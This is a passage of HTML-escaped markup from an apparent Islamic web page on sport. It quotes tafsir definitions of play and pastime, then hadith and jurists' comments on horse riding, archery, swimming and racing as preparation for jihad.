not done it. Afterwards they consider the reasons, that money was lost, precious time was spoilt and the pleasure ended and yet the fondness remained unsatisfied. Thus the result is nothing but regret and remorse. (vol xxix p.233)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-top:0in;margin-right:.5in; margin-bottom:10.0pt;margin-left:1.0in;mso-add-space:auto;text-align:justify; text-indent:-.25in;mso-list:l1 level1 lfo5;tab-stops:6.0in&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt;2.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; line-height: normal; &quot;&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size: 12.0pt;line-height:115%;font-weight:normal&quot;&gt;The author of Tafsir Fath ul-Qadeer says that &lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-size:12.0pt;line-height: 115%;font-style:normal&quot;&gt;lahw-wa-la&#39;ib&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt; is the work of foolish men - the unintelligent, whose intelligence is subnormal (vol ii, p54). In the commentary of Surah Hadid, it says that the work that engages one in the world and makes one forgetful about the work of the Hereafter is &lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-style:normal&quot;&gt;lawh-wa-la&#39;ib&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt;.. (Ibid, vol v p.174)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-top:0in;margin-right:.5in; margin-bottom:10.0pt;margin-left:1.0in;mso-add-space:auto;text-align:justify; text-indent:-.25in;mso-list:l1 level1 lfo5;tab-stops:6.0in&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt;3.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; line-height: normal; &quot;&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size: 12.0pt;line-height:115%;font-weight:normal&quot;&gt;It is stated in Tafsir Ruh al-Ma&#39;ani that &lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%;font-style:normal&quot;&gt;lahw&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt; is that work in which a wise man does not perceive any benefit, whether it is Harâm or not. The difference between the two is that from&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-style:normal&quot;&gt; la&#39;ib&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt; one gets pleasure, joy and satisfaction, whereas there is no such objective in &lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-style:normal&quot;&gt;lahw&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt;. Hence a wise man does only that work in which there is some great objective. If a work is done without the right objective, it is &lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-style:normal&quot;&gt;lahw&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt; and &lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-style:normal&quot;&gt;la&#39;ib&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt;.. (vol vii, p.134)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-top:0in;margin-right:.5in; margin-bottom:10.0pt;margin-left:1.0in;mso-add-space:auto;text-align:justify; text-indent:-.25in;mso-list:l1 level1 lfo5;tab-stops:6.0in&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt;4.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; line-height: normal; &quot;&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size: 12.0pt;line-height:115%;font-weight:normal&quot;&gt;The author of Tafsir Khazin (vol v, p.165 and vol vi p.155) says that engaging in those acts in which there is no benefit, is like engaging in useless acts one after another; just as foolish youngsters do.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-top:0in;margin-right:.5in; margin-bottom:10.0pt;margin-left:1.0in;mso-add-space:auto;text-align:justify; text-indent:-.25in;mso-list:l1 level1 lfo5;tab-stops:6.0in&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt;5.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; line-height: normal; &quot;&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size: 12.0pt;line-height:115%;font-weight:normal&quot;&gt;It is stated in Tafsir Nazm-e Durar that the pleasure that is sought through impermissible means is called&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-style:normal&quot;&gt; la&#39;ib&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt;, and &lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-style:normal&quot;&gt;lahw&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt; is that work which looks pleasant and makes man forgetful about useful things; eg. singing and ogling at women. (vol vii, p.92)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-top:0in;margin-right:.5in; margin-bottom:10.0pt;margin-left:1.0in;mso-add-space:auto;text-align:justify; text-indent:-.25in;mso-list:l1 level1 lfo5;tab-stops:6.0in&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt;6.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; line-height: normal; &quot;&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size: 12.0pt;line-height:115%;font-weight:normal&quot;&gt;In Tafsir Mazhari, Hazrat Moulana Thanâullah (Panipati) writes that&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-style:normal&quot;&gt; lahw&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt; is that work in which the objective and result is incorrect and from which no benefit is gained.&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%; font-style:normal&quot;&gt; La&#39;ib&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%;font-weight:normal&quot;&gt; is that work in which there is no benefit at all, because games and pastimes are very ephemeral in nature, and both these things prevent man from worship and devotion to Allâh. (vol iii, p.258)&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;a href=&quot;http://www.islamsa.org.za/library/books/Islam_and_Sport/islam_and_sport_04.htm#6.&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt; &lt;/span&gt;&lt;/i&gt;&lt;/a&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p class=&quot;MsoListParagraphCxSpLast&quot; style=&quot;margin-top:0in;margin-right:.5in; margin-bottom:10.0pt;margin-left:1.0in;mso-add-space:auto;text-align:justify; text-indent:-.25in;mso-list:l1 level1 lfo5;tab-stops:6.0in&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt;7.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; line-height: normal; &quot;&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size: 12.0pt;line-height:115%;font-weight:normal&quot;&gt;It is stated in Tafsir Nasafi that giving up useful things by engaging in useless things, is &lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-style:normal&quot;&gt;la&#39;ib&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt;.&quot; (vol ii, p.9)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-size: 12.0pt;line-height:115%;font-weight:normal&quot;&gt; &lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; &quot;&gt;&lt;a name=&quot;&#39;Spo&quot;&gt;&lt;span style=&quot;font-size:12.0pt&quot;&gt; &lt;/span&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; &quot;&gt;&lt;span style=&quot;font-size:12.0pt&quot;&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; &quot;&gt;&lt;span style=&quot;font-size:12.0pt&quot;&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; &quot;&gt;&lt;span style=&quot;font-size:12.0pt&quot;&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; &quot;&gt;&lt;span style=&quot;font-size:12.0pt&quot;&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; &quot;&gt;&lt;span style=&quot;font-size:12.0pt&quot;&gt;&#39;Spo&lt;/span&gt;&lt;span style=&quot;font-size:12.0pt&quot;&gt;rt&#39; in the light Hadith&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; &quot;&gt;&lt;span style=&quot;font-size:12.0pt&quot;&gt;The term &#39;sport&#39; is used to denote the activities which the Holy Prophet (&lt;i&gt;Sallallâhu alaihi wasallam&lt;/i&gt;) encouraged, such as archery, swimming, horse-riding, etc. The reason for this will be explained later.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style=&quot;margin-left:.25in;text-align:justify;text-indent:-.25in;mso-list: l2 level1 lfo6&quot;&gt;&lt;!--[if !supportLists]--&gt;1.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; &quot;&gt;      &lt;/span&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;Horse Riding &lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;Allâh &lt;/span&gt;&lt;/strong&gt;&lt;em&gt;(Azza wa jall)&lt;/em&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt; says in the Holy Qurân: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;And (He created) horses, mules, and donkeys for you to ride and as an adornment. (Al Quraan 16:8)&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;Uqbah bin Âmir reported that the messenger of Allâh &lt;/span&gt;&lt;/strong&gt;&lt;em&gt;(Azza wa jall)&lt;/em&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt; said: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;Everything with which a man plays is unlawful except his shooting with arrows, and his training his horse, and his sporting with his wife; and verily these are of the truths. (Tirmidhi, Abu Dawoo,Ibn Majah)&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;The Holy Prophet (&lt;/span&gt;&lt;/strong&gt;&lt;em&gt;Sallallâhu alaihi wasallam&lt;/em&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;) is reported to have said: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;&quot;There is blessing in the forelocks of horses.&quot;(Ahmad) &lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;margin-left:.25in;text-align:justify;text-indent:-.25in;mso-list: l2 level1 lfo6&quot;&gt;&lt;!--[if !supportLists]--&gt;2.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; &quot;&gt;      &lt;/span&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;Archery&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;Hazrat Uqbah Bin Âmir (&lt;/span&gt;&lt;/strong&gt;&lt;em&gt;Radiallâhu anhu&lt;/em&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;) also narrates that he heard Rasulullah (&lt;/span&gt;&lt;/strong&gt;&lt;em&gt;Sallallâhu alaihi wasallam&lt;/em&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;) saying:&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;&quot;Whoever gives up archery after having learnt it, is not of us...&quot;(Muslim)&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;On another occasion, the Prophet (&lt;/span&gt;&lt;/strong&gt;&lt;em&gt;Sallallâhu alaihi wasallam&lt;/em&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;) once passed by a group of his Companions who were competing in archery. He encouraged them saying, &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;&quot;Shoot and I am with you.&quot;(Bukhari)&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;margin-left:.25in;text-align:justify;text-indent:-.25in;mso-list: l2 level1 lfo6&quot;&gt;&lt;!--[if !supportLists]--&gt;3.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; &quot;&gt;      &lt;/span&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;Swimming&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;Hazrat Ibn Umar (R.A) narrates that Rasulullah (&lt;/span&gt;&lt;/strong&gt;&lt;em&gt;Sallallâhu alaihi wasallam&lt;/em&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;) said: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;Teach your sons swimming and archery and teach your daughters sewing.&quot;(Baihaqi)&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;With regard to the participation of the Sahaba in the above activities, the jurists write:&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-left:.5in;text-align:justify;text-indent:-.25in;mso-list:l8 level1 lfo7&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;a.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; &quot;&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;&quot;Anything done simply for futile pleasures or merely &#39;for fun&#39; has no basis in Shariah as every action of a believer is orchestrated by the supreme command of Allâh and orientated towards attaining His pleasure only. And it is the culmination and perfection of faith wherein the servant attains pleasure only in fulfilling the command of His Master and his heart ingests and aspires at all times to ascertain the command of Allâh. When this becomes second-nature within man, then all his pleasures are converted and directed accordingly. Hence, the encouragement of Rasulullah (&lt;/span&gt;&lt;/strong&gt;&lt;em&gt;Sallallâhu alaihi wasallam&lt;/em&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;) to the Sahaba and their participation in such activities was not to appease their personal motives or to derive any worldly pleasures thereby, but to gain the pleasure of Allâh and strive to fulfil His command and physically and mentally prepare for the propagation thereof in every way possible, even though it meant laying down their lives for it, which they practically demonstrated to mankind.&quot;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-left:.5in;text-align:justify;text-indent:-.25in;mso-list:l8 level1 lfo7&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;b.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; &quot;&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;&quot;The racing, wrestling and archery which Rasulullah (&lt;/span&gt;&lt;i&gt;Sallallâhu alaihi wasallam&lt;/i&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;) encouraged should not be viewed as sport in the way people of this time understand sport. Since these were activities associated with Jihad, he encouraged them.&quot; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-left:.5in;text-align:justify;text-indent:-.25in;mso-list:l8 level1 lfo7&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;c.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; &quot;&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;&quot;Their primary objective was to prepare themselves for Jihâd and the worldly benefits were secondary.&quot; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-left:.5in;text-align:justify;text-indent:-.25in;mso-list:l8 level1 lfo7&quot;&gt;&lt;!--[if !supportLists]--&gt;d.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; &quot;&gt;      &lt;/span&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;&quot;For this, on the basis of Hadith, the Ulema have stated that horse-racing, donkey-racing, mule-racing and human race competitions should be held with the intention of preparing for jihad. This is mustahab (praiseworthy) and for this, one will be recompensated. Similarly, sword-fighting, archery and in today&#39;s times, practising with modern weapons like firearms, machine guns, anti-aircraft guns, tanks, submarines, planes, etc. on land, sea and air, and the time and money spent on them will gain recompense, provided the intention is for jihad. If such exercises and competitions are held and prizes are given so that people are more and more induced to be ready for defending and protecting their religion and country, or one-sided bets are offered, it is all permissible; i.e. he who completes the race first or excels others in a competition will be given a prize. However betting from both sides is not permissible, it is haram.&quot;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;h4 style=&quot;margin-left:.25in;text-align:justify;text-indent:-.25in;mso-list: l2 level1 lfo6&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;4.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; &quot;&gt;      &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;Foot Racing &lt;/span&gt;&lt;/strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h4&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify;tab-stops:6.0in&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-weight: normal&quot;&gt;The Prophet (&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-style:normal&quot;&gt;Sallallâhu alaihi wasallam&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;) himself raced with his wife. Hazrat Ayesha said: &quot;I raced with the Prophet (&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-style:normal&quot;&gt;Sallallâhu alaihi wasallam&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;) and beat him in the race. Later when I had put on some weight, we raced again and he won. Then he said, &#39;This cancels that&#39;, referring to the previous occasion.&quot;(Ahmad, Abu Dawood)&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;Regarding this Hadith the jurists write:&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify;text-indent:0in;mso-list:l5 level1 lfo8;tab-stops:22.5pt&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;a.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; &quot;&gt;                   &lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;&quot;The Hadith regarding Nabi&#39;s (&lt;/span&gt;&lt;/strong&gt;&lt;em&gt;Sallallâhu alaihi wasallam&lt;/em&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;) race with Hazrat Aishah (R.A) cannot be cited as a basis for encouraging sport because in his entire life, Rasulullah (&lt;/span&gt;&lt;/strong&gt;&lt;em&gt;Sallallâhu alaihi wasallam&lt;/em&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;) raced with her only on two occasions. When he did so, he instructed the others to leave the place so that the race could take place in privacy.&quot; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify;text-indent:0in;mso-list:l5 level1 lfo8;tab-stops:22.5pt&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;b.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; &quot;&gt;                  &lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;&quot;The Hadith relating that Nabi (&lt;/span&gt;&lt;/strong&gt;&lt;em&gt;Sallallâhu alaihi wasallam&lt;/em&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;) ran a race with Hazrat Aishah R.A. once while they were on a journey wherein Hazrat Aisha R.A. outshone Nabi (&lt;/span&gt;&lt;/strong&gt;&lt;em&gt;Sallallâhu alaihi wasallam&lt;/em&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;) and sometime later wherein Nabi (&lt;/span&gt;&lt;/strong&gt;&lt;em&gt;Sallallâhu alaihi wasallam&lt;/em&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;) beat her to the draw was a manifestation of the affectionate bond of love that existed between them and how matrimonial rights should be conducted as discussed under the chapter of Conjugal Rights and Intimacy between husband and wife in the books of Hadith. And this is actually a practical demonstration of another Hadith wherein Nabi 